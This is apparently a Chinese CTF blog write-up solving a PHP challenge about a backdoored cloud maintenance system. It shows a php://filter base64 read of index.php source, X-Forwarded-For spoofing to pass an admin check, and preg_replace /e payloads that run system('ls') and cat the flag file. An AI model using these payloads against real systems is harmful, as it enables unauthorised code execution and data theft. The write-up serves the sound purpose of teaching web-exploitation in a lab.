ctf随笔(2)被后门入侵的系统

这是一道我觉得是我真正开始接触ctf的一题,涉及到php正则表达式,和php://filter协议
题目描述:破坏者会利用工控云管理系统设备维护中心的后门入侵系统
进入之后如下界面
ctf随笔(2)被后门入侵的系统_第1张图片再次点击云平台设备维护中心之后,会发现url和显示都有改变
ctf随笔(2)被后门入侵的系统_第2张图片网址也从111.198.29.45:52706/index.php变成了111.198.29.45:52706/index.php?page=index

尝试111.198.29.45:52706/index.php?page=index.php网页显示了Ok字样
ctf随笔(2)被后门入侵的系统_第3张图片
这样就可清楚是存在index.php这个页面的,但是我们没有办法获得该网页的信息,用php://filter协议处理一下,我们可以得到index.php的内容,协议的详细信息可参考https://blog.csdn.net/destiny1507/article/details/82347371
构造:php://filter/read=convert.base64-encode/resource=index.php

对url经过处理
ctf随笔(2)被后门入侵的系统_第4张图片就有了一堆看不懂的码,悲伤。。但是用base64解码后我们就能看到一整篇php代码了,代码审计也让人头大,最后其实就只有这一段是有用的
ctf随笔(2)被后门入侵的系统_第5张图片首先呢,这玩意要让你加个X-Forwarded-For头,然后就是一个正则表达式的函数preg replace,在网上搜索了一下,这个函数有一个很严重的bug
ctf随笔(2)被后门入侵的系统_第6张图片接下来就是抓包还有实践尝试的阶段了,首先将X-Forwarded-For头改一下,然后就可以发现网页的回应开始变化:welcome my admin
ctf随笔(2)被后门入侵的系统_第7张图片
然后就对函数里的pat,rep,sub变量进行测试,在url上再添加如下代码:
?pat=/test/e&rep=system(‘ls’)&sub=test
返回如下信息
ctf随笔(2)被后门入侵的系统_第8张图片这个s3chahahaDir文件夹里面应该就是相应的flag了
?pat=/test/e&rep=system(‘ls+s3chahahaDir’)&sub=test
ctf随笔(2)被后门入侵的系统_第9张图片需要注意的是,如果直接在网页上的url修改,那么’‘单引号则不会报错,如果在brup的repeater中的headers中直接写’'单引号是会报错的,这时候要把’写为%27。明显有个flag的文件夹,来让我康康
?pat=/test/e&rep=system(‘ls+s3chahahaDir/flag’)&sub=test
ctf随笔(2)被后门入侵的系统_第10张图片果然有个flag,让我康康你是啥嗷
?pat=/test/e&rep=system(‘cat+s3chahahaDir/flag/flag.php’)&sub=test
ctf随笔(2)被后门入侵的系统_第11张图片成功拿到flag

你可能感兴趣的:(ctf随笔(2)被后门入侵的系统)